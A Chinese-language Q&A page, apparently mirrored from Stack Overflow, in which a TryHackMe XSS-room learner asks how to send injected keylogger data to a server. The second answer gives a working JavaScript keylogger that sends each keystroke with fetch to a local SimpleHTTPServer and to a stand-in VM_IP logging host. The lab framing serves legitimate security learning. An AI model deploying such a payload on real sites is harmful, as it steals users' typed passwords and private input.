【问题标题】:Send Javascript data to SimpleHTTPServer将 Javascript 数据发送到 SimpleHTTPServer
【发布时间】:2021-10-15 09:36:11
【问题描述】:

我正在 tryhackme.com (https://tryhackme.com/room/xss) 上进行 xss 挑战。第 7 个任务要求我使用简单的键盘记录器

 <script type="text/javascript">
 let l = "";
 document.onkeypress = function (e) {
   l += e.key;
   console.log(l);
 }
</script> 

并将输入发送到http://&lt;vm ip&gt;/log/&lt;this data will be logged&gt;,因为这将记录可以通过转到http://&lt;vm ip&gt;/logs 来查看的击键。我已经尝试过诸如window.location 之类的东西,但无法使其正常工作。

为了进一步学习,我还想将数据发送到我在端口8000 上运行的SimpleHTTPServer,以便在我的终端上显示在网页上键入的密钥。我无法让它工作。

有人可以告诉我怎么做吗?

不,我没有恶意。我正在学习,因为我想从事网络安全工作。如果我是恶意的,我只会使用我在 GitHub 上找到的脚本或其他东西,而不了解它们是如何工作的。

谢谢。

【问题讨论】:

    标签: javascript xss simplehttpserver


    【解决方案1】:

    排除很多打包资源,可以使用一个简单的WEB API来达到这个目的。这里简单介绍两个WEB API

    获取 API

    Fetch API 提供了一个 JavaScript 接口,用于访问和 操作部分 HTTP 管道,例如请求和 回复。

    fetch('http://example.com/movies.json')
      .then(function(response) {
        return response.json();
      })
      .then(function(myJson) {
        console.log(myJson);
      });
    

    XMLHttpRequest API

    XMLHttpRequest (XHR) 对象用于与服务器交互。你 无需刷新整个页面即可从 URL 检索数据。 这使得网页可以只更新页面的一部分,而无需 扰乱用户正在做的事情。

    function reqListener () {
      console.log(this.responseText);
    }
    var oReq = new XMLHttpRequest();
    oReq.addEventListener("load", reqListener);
    oReq.open("GET", "http://www.example.org/example.txt");
    oReq.send();
    

    【讨论】:

      【解决方案2】:

      由于 SimpleHTTPServer 会记录它收到的每个请求,因此您可以使用 fetch() 发出 GET 请求并在其中传递数据。

      <script type="text/javascript">
          let l = "";
          document.onkeypress = function (e) {
            l += e.key;
            console.log(l);
      
             fetch(`http://127.0.0.1:8000?logger=${l}`, { mode: 'no-cors'});
          }
      </script> 
      

      这会给你这样的东西:

      要将数据发送到 VM,您也可以使用 fetch,如下所示:

      fetch(`http://VM_IP/log/${l}`, { mode: 'no-cors'});
      

      【讨论】:

        猜你喜欢
        • 2018-12-25
        • 2012-01-14
        • 2014-06-26
        • 2018-01-15
        • 2012-08-11
        • 2020-09-27
        • 2020-09-19
        • 2013-05-19
        • 2015-11-03
        相关资源
        最近更新 更多